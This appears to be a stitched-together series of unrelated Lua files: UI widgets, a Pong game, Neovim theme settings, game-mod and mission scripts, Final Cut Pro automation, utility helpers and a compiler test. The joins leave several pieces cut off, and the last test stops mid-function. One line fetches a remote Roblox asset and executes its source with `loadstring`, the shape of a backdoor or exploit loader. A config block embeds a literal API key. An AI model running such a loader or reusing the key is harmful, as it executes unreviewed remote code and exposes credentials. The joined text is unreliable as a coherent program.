local PANEL = class.create("RadioPanel", "Label") PANEL:ACCESSOR("Option", "m_iOption") PANEL:ACCESSOR("Horizontal", "m_bHorizontal", false) function PANEL:RadioPanel() self:super() -- Initialize our baseclass self:SetFocusable(true) self:SetDrawPanel(true) self:SetBGColor(color(215, 215, 215)) self:TextMargin(0, 4, 0, 0) self:SetTextAlignmentX("center") self:SetTextAlignmentY("top") self:SetTextColor(color_darkgrey) self:DockPadding(2, 18, 2, 2) self.OPTIONS = {} end function PANEL:AddOption(id, label, active) local option = self:Add("RadioBox") option:SetText(label) option:Dock(self.m_bHorizontal and DOCK_LEFT or DOCK_TOP) option.OnClick = function() self:SetValue(id) end self.OPTIONS[id] = option if active then self:SetValue(id) end return option end function PANEL:PerformLayout() self:SizeToChildren(self.m_bHorizontal, not self.m_bHorizontal) end function PANEL:SetValue(id) if self.m_iOption ~= id then for i, option in pairs(self.OPTIONS) do option:SetToggled(i == id) end self:OnSelectOption(id, self.m_iOption) self.m_iOption = id end end function PANEL:OnSelectOption(id, prev) -- OVERRIDE end
--[[ Copyright (c) 2009 Peter "Corsix" Cawley Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --]] class "StaffReceptionAction" (HumanoidAction) ---@type StaffReceptionAction local StaffReceptionAction = _G["StaffReceptionAction"] -- Action class for the "staff reception desk" action. --!param desk (object) Desk to staff. function StaffReceptionAction:StaffReceptionAction(desk) assert(class.is(desk, ReceptionDesk), "Invalid value for parameter 'desk'") self:HumanoidAction("staff_reception") self.object = desk -- Reception desk object. self:setMustHappen(true) end local action_staff_reception_interrupt = permanent"action_staff_reception_interrupt"( function(action, humanoid, high_priority) local object = action.object object.receptionist = nil if not object.being_destroyed then -- don't look for replacement if desk was picked up object:checkForNearbyStaff() end humanoid.associated_desk = nil local dx, dy = object:getSecondaryUsageTile() if high_priority then humanoid:setTilePositionSpeed(dx, dy) humanoid:finishAction() else HumanoidRawWalk(humanoid, humanoid.tile_x, humanoid.tile_y, dx, dy, nil, --[[persistable:action_staff_reception_walk]] function() humanoid:setTilePositionSpeed(dx, dy) humanoid:finishAction() end) end end) local action_staff_reception_idle_phase = permanent"action_staff_reception_idle_phase"( function(humanoid) local action = humanoid:getCurrentAction() local direction = humanoid.last_move_direction local anims = humanoid.walk_anims local object = action.object if direction == "north" then humanoid:setAnimation(anims.idle_north, 0) elseif direction == "east" then humanoid:setAnimation(anims.idle_east, 0) elseif direction == "south" then humanoid:setAnimation(anims.idle_east, 1) elseif direction == "west" then humanoid:setAnimation(anims.idle_north, 1) end humanoid:setTilePositionSpeed(object.tile_x, object.tile_y) object.receptionist = humanoid object.reserved_for = nil object.th:makeVisible() if direction == "north" or direction == "west" then -- Place desk behind receptionist in render order (they are on the same tile) object.th:setTile(object.th:getTile()) end if action.on_interrupt then action.on_interrupt = action_staff_reception_interrupt else action_staff_reception_interrupt(action, humanoid) end end) local action_staff_reception_interrupt_early = permanent"action_staff_reception_interrupt_early"( function(action, humanoid, high_priority) if high_priority then action.object.reserved_for = nil humanoid.associated_desk:checkForNearbyStaff() humanoid.associated_desk = nil humanoid:setTimer(nil) humanoid:setTilePositionSpeed(action.object:getSecondaryUsageTile()) humanoid:finishAction() end end) local function action_staff_reception_start(action, humanoid) if action.todo_interrupt then humanoid.associated_desk.reserved_for = nil humanoid.associated_desk:checkForNearbyStaff() humanoid.associated_desk = nil humanoid:finishAction(action) return end local object = action.object HumanoidRawWalk(humanoid, humanoid.tile_x, humanoid.tile_y, object.tile_x, object.tile_y, nil, action_staff_reception_idle_phase) action.must_happen = true action.on_interrupt = action_staff_reception_interrupt_early end return action_staff_reception_start
--[[ Author: Edson Elmar Schlei [email protected] Originally programmed by Atari in 1972. Features two paddles, controlled by players, with the goal of getting the ball past your opponent's edge. First to 10 points wins. This version is built to more closely resemble the NES than the original Pong machines or the Atari 2600 in terms of resolution, though in widescreen (16:9) so it looks nicer on modern systems. ]] Class = require 'class' push = require 'push' require 'Ball' require 'Paddle' require 'PlayerIA' local AUTHOR_NAME = 'Edson Schlei' local AUTHOR_EMAIL = '([email protected])' local GAME_VERSION = '1.10' local WINDOW_WIDTH = 1280 local WINDOW_HEIGHT = 720 VIRTUAL_WIDTH = 432 VIRTUAL_HEIGHT = 243 local GAME_AREA_Y = 20 local GAME_AREA_X = 5 local PADDLE_WIDTH = 5 local PADDLE_HEIGHT = 20 local BALL_SIZE = 6 PADDLE_SPEED = 200 local VICTORY_SCORE = 10 local GAME_STATE_START = 'start' local GAME_STATE_SERVE = 'serve' local GAME_STATE_PLAY = 'play' local GAME_STATE_VICTORY = 'victory' --[[ Load the default values and initial configurations ]] function love.load() math.randomseed(os.time()) love.window.setTitle('Pong') -- define render style love.graphics.setDefaultFilter('nearest', 'nearest') -- define virtual screen and window properties push:setupScreen(VIRTUAL_WIDTH, VIRTUAL_HEIGHT, WINDOW_WIDTH, WINDOW_HEIGHT, { fullscreen = false, vsync = true, resizable = true }) -- create fonts scoreFont = love.graphics.newFont('04B03.TTF', 32) smallFont = love.graphics.newFont('04B03.TTF', 8) victoryFont = love.graphics.newFont('04B03.TTF', 24) -- https://freesound.org/ sounds = { ['paddle_hit'] = love.audio.newSource('audios/paddle_hit.wav', 'static'), ['point_scored'] = love.audio.newSource('audios/point_scored.wav', 'static'), ['wall_hit'] = love.audio.newSource('audios/wall_hit.wav', 'static'), ['win_game'] = love.audio.newSource('audios/win_game.wav', 'static') } -- initial game score player1Score = 0 player2Score = 0 gameAreaWidth = VIRTUAL_WIDTH - (GAME_AREA_X * 2) gameAreaHeight = VIRTUAL_HEIGHT - (GAME_AREA_Y * 2) minBallY = GAME_AREA_Y print('Min Ball Y:' .. tostring(minBallY)) maxBallY = VIRTUAL_HEIGHT - GAME_AREA_Y - BALL_SIZE print('Max Ball Y:' .. tostring(maxBallY)) local maxPaddleY = VIRTUAL_HEIGHT - (GAME_AREA_Y + PADDLE_HEIGHT) local minPaddleY = GAME_AREA_Y local leftPaddleX = GAME_AREA_X local rightPaddleX = VIRTUAL_WIDTH - (GAME_AREA_X + PADDLE_WIDTH) player1ScoreX = VIRTUAL_WIDTH / 2 - 50 player2ScoreX = VIRTUAL_WIDTH / 2 + 30 playerScoreY = VIRTUAL_HEIGHT / 3 local player1Y = minPaddleY local player2Y = maxPaddleY player1 = Paddle(leftPaddleX, player1Y, PADDLE_WIDTH, PADDLE_HEIGHT, minPaddleY, maxPaddleY) player2 = Paddle(rightPaddleX, player2Y, PADDLE_WIDTH, PADDLE_HEIGHT, minPaddleY, maxPaddleY) -- ball intial position local half_ball = BALL_SIZE / 2 local ballX = VIRTUAL_WIDTH / 2 - half_ball local ballY = VIRTUAL_HEIGHT / 2 - half_ball ball = Ball(ballX, ballY, BALL_SIZE, BALL_SIZE) playerIA = PlayerIA(player2, ball) -- serving player servingPlayer = math.random(2) if servingPlayer == 1 then ball.dx = 100 else ball.dx = -100 end winningPlayer = 0 gameState = GAME_STATE_START end function love.resize(w,h) push:resize(w,h) end --[[ Draw the elements on the screen. ]] function love.draw() push:apply('start') -- it clears the screen with the defined collor love.graphics.clear(40 / 255, 45 / 255, 52 / 255, 255 / 255) -- it draws the fame area love.graphics.rectangle('line', GAME_AREA_X , GAME_AREA_Y, gameAreaWidth, gameAreaHeight) -- prints the game state printGameState() -- it draws the pong ball ball:render() -- it draws the left padle player1:render() -- it draws the right padle player2:render() -- display FPS displayFPS() -- draw author name drawAuthorAndVersion() push:apply('end') end function printGameState() if gameState == GAME_STATE_START then love.graphics.setFont(smallFont) love.graphics.printf('Welcome to Pong!', 0, 30, VIRTUAL_WIDTH, 'center') love.graphics.printf('Press Enter to choose the serve player!', 0, 42, VIRTUAL_WIDTH, 'center') elseif gameState == GAME_STATE_SERVE then love.graphics.setFont(smallFont) love.graphics.printf('Player ' .. tostring(servingPlayer) .. "'s turn!", 0, 30, VIRTUAL_WIDTH, 'center') love.graphics.printf('Press enter to Serve!', 0, 42, VIRTUAL_WIDTH, 'center') elseif gameState == GAME_STATE_VICTORY then love.graphics.setFont(victoryFont) love.graphics.printf('Player ' .. tostring(winningPlayer) .. " wins!", 0, 30, VIRTUAL_WIDTH, 'center') love.graphics.setFont(smallFont) love.graphics.printf('Press enter to restart!', 0, 60, VIRTUAL_WIDTH, 'center') end -- show score only when the game is stopped printScore() end function printScore() if not (gameState == GAME_STATE_PLAY) then -- present the game score love.graphics.setFont(scoreFont) love.graphics.print(player1Score, player1ScoreX, playerScoreY) love.graphics.print(player2Score, player2ScoreX, playerScoreY) else love.graphics.setFont(smallFont) love.graphics.printf('Player 1 -> ' .. tostring(player1Score) .. ' x ' .. tostring(player2Score) .. ' <- Player 2', 0, 5, VIRTUAL_WIDTH, 'center') end end --[[ Calculate the new state of the game ]] function love.update(dt) if gameState == GAME_STATE_PLAY then if ball.x <= player1.x then player2Score = player2Score + 1 servingPlayer = 1 gameState = GAME_STATE_SERVE ball:reset() ball.dx = 100 sounds['point_scored']:play() if player2Score >= VICTORY_SCORE then gameState = GAME_STATE_VICTORY winningPlayer = 2 sounds['win_game']:play() end end if ball.x >= player2.x + player2.width then player1Score = player1Score + 1 servingPlayer = 2 gameState = GAME_STATE_SERVE ball:reset() ball.dx = -100 sounds['point_scored']:play() if player1Score >= VICTORY_SCORE then gameState = GAME_STATE_VICTORY winningPlayer = 1 sounds['win_game']:play() end end if ball:collides(player1) then -- diflect ball to the right sounds['paddle_hit']:play() ball.dx = -ball.dx * 1.03 ball.x = player1.x + player1.width + 1 -- keep velocity going in the same direction, but randomize it if ball.dy < 0 then ball.dy = -math.random(10, 150) else ball.dy = math.random(10, 150) end end if ball:collides(player2) then -- diflect ball to the left sounds['paddle_hit']:play() ball.dx = -ball.dx ball.x = player2.x - ball.width -1 -- keep velocity going in the same direction, but randomize it if ball.dy < 0 then ball.dy = -math.random(10, 150) else ball.dy = math.random(10, 150) end end -- detect top game area if ball.y <= minBallY then ball.dy = -ball.dy ball.y = minBallY + 1 sounds['wall_hit']:play() end -- detect collision on the bottom game area if ball.y >= maxBallY then ball.dy = -ball.dy ball.y = maxBallY - 1 sounds['wall_hit']:play() end -- update player 1 paddle if love.keyboard.isDown('w') then player1.dy = - PADDLE_SPEED elseif love.keyboard.isDown('s') then player1.dy = PADDLE_SPEED else player1.dy = 0; end -- update player 2 paddle playerIA:update(dt) -- update paddles position player1:update(dt) player2:update(dt) -- update the ball position ball:update(dt) end end function displayFPS() love.graphics.setColor(0, 1, 0, 1) love.graphics.setFont(smallFont) love.graphics.print('FPS: ' .. tostring(love.timer.getFPS()), 5, 5) love.graphics.setColor(1, 1, 1, 1) end --[[ catch the key events ]] function love.keypressed(key) if key == 'escape' then love.event.quit() elseif key == 'enter' or key == 'return' then -- start the game when enter/return is pressed if gameState == GAME_STATE_START then gameState = GAME_STATE_SERVE -- before switching to play, initialize ball's velocity based -- on player who last scored ball.dy = math.random(-50, 50) if servingPlayer == 1 then ball.dx = math.random(140, 200) else ball.dx = -math.random(140, 200) end elseif gameState == GAME_STATE_SERVE then gameState = GAME_STATE_PLAY elseif gameState == GAME_STATE_VICTORY then gameState = GAME_STATE_START player1Score = 0 player2Score = 0 end end end function drawAuthorAndVersion() love.graphics.setColor(0, 1, 0, 1) love.graphics.setFont(smallFont) love.graphics.printf(AUTHOR_NAME .. ' ' .. AUTHOR_EMAIL .. ' v' .. GAME_VERSION, 0, VIRTUAL_HEIGHT - 15, VIRTUAL_WIDTH, 'right') love.graphics.setColor(1, 1, 1, 1) end
vim.cmd("hi clear") vim.opt.termguicolors = true vim.o.background = "light" vim.cmd("colorscheme gruvbox") -- vim.cmd("colorscheme gruvbox-baby") -- vim.cmd("hi! link Type GruvboxBlue") -- vim.cmd("hi! link juliaType GruvboxBlue") vim.cmd("hi! link juliaSymbol GruvboxPurple") vim.cmd("hi! link juliaSymbolS GruvboxPurple") vim.cmd("hi! link juliaFunction GruvboxGreenBold") vim.cmd("hi! link juliaFunctionDefinition GruvboxGreenBold") vim.cmd("hi! link juliaFunctionDef GruvboxGreenBold") vim.cmd("hi! link juliaFunctionCall GruvboxAqua") vim.cmd("hi! link juliaMacro GruvboxBlueBold") -- vim.cmd("hi! link juliaParDelim GruvboxYellow") -- vim.cmd("hi! link juliaSemicolon GruvboxYellow") -- vim.cmd("hi! link juliaColon GruvboxYellow") -- vim.cmd("hi! link juliaComma GruvboxYellow") vim.cmd("hi! link Operator GruvboxOrange") -- vim.cmd("hi! link juliaOperator GruvboxOrange") -- vim.cmd("hi! link juliaRangeOperator GruvboxOrange") -- vim.cmd("hi! link juliaCTransOperator GruvboxOrange") -- vim.cmd("hi! link juliaTernaryOperator GruvboxOrange") -- vim.cmd("hi! link juliaTypeOperator GruvboxOrange") -- vim.cmd("hi! link juliaDotted GruvboxOrange") colors = { bg = "#ebdbb2", -- bg = "#d5c4a1", fg = "#3c3836", comment = "#665c54", orange = "#D65D0E", red = "#cc241d", violet = "#cc241d", green = "#98971a", yellow = "#d79921", blue = "#458588", magenta = "#b16286", cyan = "#689d6a", darkblue = "#076678", black = "#fbf1c7", } --[[ dark0_hard = #1d2021 dark0 = #282828 dark0_soft = #32302f dark1 = #3c3836 dark2 = #504945 dark3 = #665c54 dark4 = #7c6f64 dark4_256 = #7c6f64 gray_245 = #928374 gray_244 = #928374 light0_hard = #f9f5d7 light0 = #fbf1c7 light0_soft = #f2e5bc light1 = #ebdbb2 light2 = #d5c4a1 light3 = #bdae93 light4 = #a89984 light4_256 = #a89984 bright_red = #fb4934 bright_green = #b8bb26 bright_yellow = #fabd2f bright_blue = #83a598 bright_purple = #d3869b bright_aqua = #8ec07c bright_orange = #fe8019 neutral_red = #cc241d neutral_green = #98971a neutral_yellow = #d79921 neutral_blue = #458588 neutral_purple = #b16286 neutral_aqua = #689d6a neutral_orange = #d65d0e faded_red = #9d0006 faded_green = #79740e faded_yellow = #b57614 faded_blue = #076678 faded_purple = #8f3f71 faded_aqua = #427b58 faded_orange = #af3a03 ]] -- vim.cmd("hi TabLineFill guibg=" .. colors.bg .. " guifg=" .. colors.bg) vim.cmd("hi SignColumn guibg=NONE") -- vim.cmd("hi StatusLine guibg=" .. colors.bg .. " guifg=" .. colors.bg) -- vim.cmd("hi StatusLineNC guibg=" .. colors.bg .. " guifg=" .. colors.bg) vim.cmd("hi WinSeparator guibg=NONE guifg=" .. colors.bg) -- vim.cmd("hi TelescopeBorder guifg=" .. colors.magenta) vim.cmd("hi TelescopePromptBorder guifg=" .. colors.blue) vim.cmd("hi TelescopeResultsBorder guifg=" .. colors.green) vim.cmd("hi TelescopePreviewBorder guifg=" .. colors.cyan) -- Enable transparency -- vim.cmd("hi Normal guibg=NONE ctermbg=NONE") -- vim.cmd("hi NonText guibg=NONE ctermbg=NONE") vim.cmd("hi EndOfBuffer guibg=NONE ctermbg=NONE")
thrackan_sal_solo_missions = { { missionType = "assassinate", primarySpawns = { { npcTemplate = "selonian_separatist", npcName = "a Selonian terrorist" } }, secondarySpawns = {}, itemSpawns = {}, rewards = { { rewardType = "credits", amount = 100 } } }, { missionType = "escort", primarySpawns = { { npcTemplate = "jermo_tharrn", npcName = "Jermo Tharrn" } }, secondarySpawns = { { npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" }, { npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" } }, itemSpawns = {}, rewards = { { rewardType = "credits", amount = 200 } } }, { missionType = "confiscate", primarySpawns = { { npcTemplate = "tormyll_fassoola", npcName = "Tormyll Fassoola" } }, secondarySpawns = {}, itemSpawns = { { itemTemplate = "object/tangible/mission/quest_item/thrackan_salsolo_q3_needed.iff", itemName = "Diktat's Death Squad" } }, rewards = { { rewardType = "credits", amount = 400 } } }, { missionType = "assassinate", primarySpawns = { { npcTemplate = "selonian_champion", npcName = "a Selonian leader" } }, secondarySpawns = { { npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" }, { npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" }, { npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" } }, itemSpawns = {}, rewards = { { rewardType = "credits", amount = 800 } } } } npcMapThrackanSalSolo = { { spawnData = { npcTemplate = "thrackan_sal_solo", x = 0.4, z = 1.2, y = 0.8, direction = 0, cellID = 1855483, position = STAND }, worldPosition = { x = -275, y = -4720 }, npcNumber = 1, stfFile = "@static_npc/corellia/thrackan_sal_solo", missions = thrackan_sal_solo_missions } } ThrackanSalSolo = ThemeParkLogic:new { npcMap = npcMapThrackanSalSolo, className = "ThrackanSalSolo", screenPlayState = "thrackan_sal_solo_quest", planetName = "corellia", distance = 800 } registerScreenPlay("ThrackanSalSolo", true) thrackan_sal_solo_mission_giver_conv_handler = mission_giver_conv_handler:new { themePark = ThrackanSalSolo } thrackan_sal_solo_mission_target_conv_handler = mission_target_conv_handler:new { themePark = ThrackanSalSolo }
--- === cp.apple.finalcutpro.export.ReplaceAlert === --- --- Replace Alert local require = require local axutils = require("cp.ui.axutils") local prop = require("cp.prop") local ReplaceAlert = {} --- cp.apple.finalcutpro.export.ReplaceAlert.matches(element) -> boolean --- Function --- Checks to see if an element matches what we think it should be. --- --- Parameters: --- * element - An `axuielementObject` to check. --- --- Returns: --- * `true` if matches otherwise `false` function ReplaceAlert.matches(element) if element then return element:attributeValue("AXRole") == "AXSheet" -- it's a sheet and axutils.childWithRole(element, "AXTextField") == nil -- with no text fields end return false end --- cp.apple.finalcutpro.export.ReplaceAlert.new(app) -> ReplaceAlert --- Constructor --- Creates a new Replace Alert object. --- --- Parameters: --- * app - The `cp.apple.finalcutpro` object. --- --- Returns: --- * A new ReplaceAlert object. function ReplaceAlert.new(parent) local o = {_parent = parent} return prop.extend(o, ReplaceAlert) end --- cp.apple.finalcutpro.export.ReplaceAlert:parent() -> object --- Method --- Returns the Parent object. --- --- Parameters: --- * None --- --- Returns: --- * The parent object. function ReplaceAlert:parent() return self._parent end --- cp.apple.finalcutpro.export.ReplaceAlert:app() -> App --- Method --- Returns the App instance representing Final Cut Pro. --- --- Parameters: --- * None --- --- Returns: --- * App function ReplaceAlert:app() return self:parent():app() end --- cp.apple.finalcutpro.export.ReplaceAlert:UI() -> axuielementObject --- Method --- Returns the Replace Alert Accessibility Object --- --- Parameters: --- * None --- --- Returns: --- * An `axuielementObject` or `nil` function ReplaceAlert:UI() return axutils.cache(self, "_ui", function() return axutils.childMatching(self:parent():UI(), ReplaceAlert.matches) end, ReplaceAlert.matches) end --- cp.apple.finalcutpro.export.ReplaceAlert.isShowing <cp.prop: boolean; read-only> --- Field --- Is the Replace File alert showing? ReplaceAlert.isShowing = prop.new(function(self) return self:UI() ~= nil end):bind(ReplaceAlert) --- cp.apple.finalcutpro.export.ReplaceAlert:hide() -> none --- Method --- Hides the Replace Alert. --- --- Parameters: --- * None --- --- Returns: --- * None function ReplaceAlert:hide() self:pressCancel() end --- cp.apple.finalcutpro.export.ReplaceAlert:pressCancel() -> cp.apple.finalcutpro.export.ReplaceAlert --- Method --- Presses the Cancel button. --- --- Parameters: --- * None --- --- Returns: --- * The `cp.apple.finalcutpro.export.ReplaceAlert` object for method chaining. function ReplaceAlert:pressCancel() local ui = self:UI() if ui then local btn = ui:cancelButton() if btn then btn:doPress() end end return self end --- cp.apple.finalcutpro.export.ReplaceAlert:pressReplace() -> cp.apple.finalcutpro.export.ReplaceAlert --- Method --- Presses the Replace button. --- --- Parameters: --- * None --- --- Returns: --- * The `cp.apple.finalcutpro.export.ReplaceAlert` object for method chaining. function ReplaceAlert:pressReplace() local ui = self:UI() if ui then local btn = ui:defaultButton() if btn and btn:enabled() then btn:doPress() end end return self end --- cp.apple.finalcutpro.export.ReplaceAlert:getTitle() -> string | nil --- Method --- The title of the Replace Alert window or `nil`. --- --- Parameters: --- * None --- --- Returns: --- * The title of the Replace Alert window as a string or `nil`. function ReplaceAlert:getTitle() local ui = self:UI() return ui and ui:title() end return ReplaceAlert
loadstring(game:GetObjects("rbxassetid://3042778022")[1].Source)()
Config = {} discord = { api = ApiDiscord, assettxt = AssetText, other = Other, txtall = TextAll, Time = 60 }
// RAWR! mypublicid.config = mypublicid.config or {} mypublicid.config.endpoint = "api.mypublicid.com" mypublicid.config.apikey = "22D1B8BF-A978-40F5-8E85-4E631975976F" mypublicid.config.region = -1 mypublicid.config.message = "[MyPublicId] A ban has been issued on your account. Go to mypublicid.com to find out more."
-- =============== -- GITSIGNS BUBBLE -- =============== -- Created by datwaft <github.com/datwaft> local settings = { symbol = vim.g.bubbly_symbols, color = vim.g.bubbly_colors, style = vim.g.bubbly_styles, filter = vim.g.bubbly_filter, } ---@type fun(settings: table, module_name: string): table local process_settings = require("bubbly.utils.module").process_settings settings = process_settings(settings, "gitsigns") ---@type fun(filter: table): boolean local process_filter = require("bubbly.utils.module").process_filter -- Returns bubble that shows current gitsigns status ---@param inactive boolean ---@return Segment[] return function(inactive) if inactive then return nil end if not process_filter(settings.filter) then return nil end if vim.b.gitsigns_status_dict == nil then return nil end local added = vim.b.gitsigns_status_dict.added local removed = vim.b.gitsigns_status_dict.removed local modified = vim.b.gitsigns_status_dict.changed return { { data = added ~= 0 and settings.symbol.added:format(added), color = settings.color.added, style = settings.style.added, }, { data = modified ~= 0 and settings.symbol.modified:format(modified), color = settings.color.modified, style = settings.style.modified, }, { data = removed ~= 0 and settings.symbol.removed:format(removed), color = settings.color.removed, style = settings.style.removed, }, } end
function empregnate(unit) if unit==nil then error("Failed to empregnate. Unit not selected/valid") end if unit.curse then unit.curse.add_tags2.STERILE=false end local genes = unit.appearance.genes if unit.pregnancy_genes == nil then print("creating preg ptr.") if false then print(string.format("%x %x",df.sizeof(unit:_field("pregnancy_genes")))) return end unit.pregnancy_genes = { new = true, assign = genes } end local ngenes = unit.pregnancy_genes if #ngenes.appearance ~= #genes.appearance or #ngenes.colors ~= #genes.colors then print("Array sizes incorrect, fixing.") ngenes:assign(genes); end print("Setting preg timer.") unit.pregnancy_timer=1 unit.pregnancy_caste=1 end local unit_id=... empregnate(df.unit.find(tonumber(unit_id)))
function getData(key, default) return global["data:" .. key] or default end function setData(key, data) global["data:" .. key] = data end function removeData(key, data) global["data:" .. key] = data end function checkAndTickInGlobal(name) if global[name] then for i, v in pairs(global[name]) do if v.valid then v:OnTick() else global[name][i] = nil end end end end function callInGlobal(gName, kName, ...) if global[gName] then for k, v in pairs(global[gName]) do if v[kName] then v[kName](v, ...) end end end end function insertInGlobal(gName, val) if not global[gName] then global[gName] = {} end table.insert(global[gName], val) return val end function removeInGlobal(gName, val) if global[gName] then for i, v in pairs(global[gName]) do if v == val then global[gName][i] = nil return v end end end end function setResearch(name) global["research:" .. name] = true end function isResearched(name) return global["research:" .. name] or false end function getDistance(pos1, pos2) return math.sqrt((pos2.x - pos1.x) ^ 2 + (pos2.y - pos1.y) ^ 2) end function equipmentGridHasItem(grid, itemName) local contents = grid.get_contents() return contents[itemName] and contents[itemName] > 0 end function toDate(ticks) local time = "" local mod = 0 ticks = ticks / 60 local timeRange = function(time, unit) time = math.floor(time % unit) if time < 10 then time = "0" .. time end return time end time = timeRange(ticks, 60) ticks = ticks / 60 time = timeRange(ticks, 60) .. ":" .. time ticks = ticks / 60 time = math.floor(ticks) .. ":" .. time return time end function string:padRight(len, char) local str = self if not char then char = " " end if str:len() < len then str = str .. string.rep(" ", len - str:len()) end return str end function string:contains(substr) return self:find(substr) ~= nil end function string:startsWith(prefix) return self:sub(1, prefix:len()) == prefix end function string:endWith(suffix) return self:sub(self:len() - (suffix:len() - 1)) == suffix end function string:trim() return self:match('^%s*(.*%S)') or '' end function string:ensureLeft(prefix) if not self:startsWith(prefix) then return prefix .. self end return self end function string:ensureRight(suffix) if self:sub(self:len() - (suffix:len() - 1)) ~= suffix then return self .. suffix end return self end function string:split(sSeparator, nMax, bRegexp) assert(sSeparator ~= '') assert(nMax == nil or nMax >= 1) local aRecord = {} local count = 1 if self:len() > 0 then local bPlain = not bRegexp nMax = nMax or -1 local nField, nStart = 1, 1 local nFirst, nLast = self:find(sSeparator, nStart, bPlain) while nFirst and nMax ~= 0 do aRecord[nField] = self:sub(nStart, nFirst - 1) nField = nField + 1 nStart = nLast + 1 nFirst, nLast = self:find(sSeparator, nStart, bPlain) nMax = nMax - 1 count = count + 1 end aRecord[nField] = self:sub(nStart) end return aRecord, count end function searchIndexInTable(table, obj, ...) if table then for i, v in pairs(table) do if #{ ... } > 0 then for key, field in pairs({ ... }) do if v then v = v[field] end end if v == obj then return i end elseif v == obj then return i end end end end function searchInTable(table, obj, ...) if table then for k, v in pairs(table) do if #{ ... } > 0 then local key = v for i, field in pairs({ ... }) do if key then key = key[field] end end if key == obj then return v end elseif v == obj then return v end end end end table.search = searchInTable table.searchIndex = searchIndexInTable function table.len(tbl) local count = 0 for k, v in pairs(tbl) do count = count + 1 end return count end function table.tostring(tbl, limit) local tableToString local valToString local keyToString if not limit then limit = 2 end valToString = function(v, circular, max) if "string" == type(v) then v = string.gsub( v, "\n", "\\n" ) if string.match( string.gsub(v, "[^'\"]", ""), '^"+$' ) then return "'" .. v .. "'" end return '"' .. string.gsub(v, '"', '\\"' ) .. '"' else if max ~= 0 then circular = {table.unpack(circular)} table.insert(circular, v) return "table" == type(v) and tableToString(v, circular, max - 1) or tostring(v) end return "[Table]" end end keyToString = function(k, circular, max) if "string" == type(k) and string.match( k, "^[_%a][_%a%d]*$" ) then return k else return "[" .. valToString(k, circular, max) .. "]" end end tableToString = function(tbl, circular, max) local result, done = {}, {} for k, v in ipairs(tbl) do if type(v) == "table" then for index, item in ipairs(circular) do if v == item then table.insert(result, "[Circular]") done[k] = true break end end end if not done[k] then done[k] = true if type(v) == "table" then table.insert(circular, v) end table.insert(result, valToString(v, circular, max)) end end for k, v in pairs(tbl) do if not done[k] then if type(v) == "table" then for index, item in ipairs(circular) do if v == item then table.insert(result, keyToString(k, max) .. "=" .. "[Circular]") done[k] = true break end end end if not done[k] then if type(v) == "table" then table.insert(circular, v) end table.insert(result, keyToString(k, max) .. "=" .. valToString(v, circular, max)) end end end return "{" .. table.concat(result, "," ) .. "}" end return tableToString(tbl, {}, limit) end function table.contains(tab, obj, field) for i, v in pairs(tab) do if field then if v[field] == obj then return true end elseif v == obj then return true end end return false end function table.id(obj) local id = tostring(obj):gsub('^%w+: ', '') return id end function Version(value) local function parse(str) local version = {} for i, v in pairs(str:split(".")) do table.insert(version, tonumber(v)) end return version end local obj = { value = parse(value), isLower = function(self, version) if type(version) == "string" then version = Version(version) end for i, v in ipairs(version.value) do if i > #self.value then return true elseif v > self.value[i] then return true elseif v < self.value[i] then return false end end return false end, isHigher = function(self, version) if type(version) == "string" then version = Version(version) end for i, v in ipairs(self.value) do if i > #version.value then return true elseif v > version.value[i] then return true elseif v < version.value[i] then return false end end return false end, tostring = function(self) return table.concat(self.value, ".") end } return obj end function version_isLower(currentVersion, otherVersion) currentVersion = currentVersion:split(".") otherVersion = otherVersion.split(".") end function deepcopy(orig, dst) local copy if type(orig) == 'table' then if dst then copy = dst else copy = {} end for orig_key, orig_value in next, orig, nil do copy[deepcopy(orig_key)] = deepcopy(orig_value) end setmetatable(copy, deepcopy(getmetatable(orig))) else -- number, string, boolean, etc copy = orig end return copy end
local ReactFiberHostContext = require "ReactFiberHostContext" local pi = require "pi" pi(ReactFiberHostContext)
-- See Copyright Notice in lal.lua local TC = require 'lal/util/test_case' local lal = require 'lal/lal' local List = require 'lal/util/list' local Parser = require 'lal/lang/parser' local Compiler = require 'lal/lang/compiler' local lal_eval = lal.eval local assert_eq = TC.assert_eq local assert_match = TC.assert_match local ok = TC.ok local diag = TC.diag local TestCaseSummary = TC.TestCaseSummary local TestCase = TC.TestCase local function assert_error(sMatch, sData) local bOk, sErr = pcall(function () lal_eval(sData, sMatch) end) ok(not(bOk), 'Compiled without error, but should not: ' .. sData) if (not string.match(sErr, sMatch)) then ok(false, 'Compiled with wrong error (expected ' .. sMatch .. '): ' .. sErr) else ok(true, 'Compiled with error like expected') end end local function assert_lal(sLal, sData, sName) local info = debug.getinfo(2, "Sl") assert_eq(sLal, Parser.lal_print_string(lal_eval(sData, info.short_src .. ":" .. info.currentline)), sName) end local oT = TestCase('LAL-Compiler', 82) --function oT:testDefM() -- local compiler = Compiler() -- local p = Parser() -- assert_eq([[local x; x = 11; --_ENV._lal_global_env["x"] = x; --return x; --]], -- compiler:compile_toplevel(p:parse_expression '(define x 11)')) -- assert_eq([[x = 12; --_ENV._lal_global_env["x"] = x; --return x; --]], -- compiler:compile_toplevel(p:parse_expression '(set! x 12)')) --end function oT:testFn() assert_eq(20, lal_eval '((lambda (a) a) 20)') assert_lal('52', [[ (begin (define l (lambda (x y) (+ x y 13))) (l (l 0 0) (l (l 0 0) 0)))]]) assert_error('.*Bad.*lambda.*%(lambda 10%)', [[(lambda 10)]]) assert_error('.*Bad.*lambda', [[(begin (begin (begin (lambda 10))))]]) 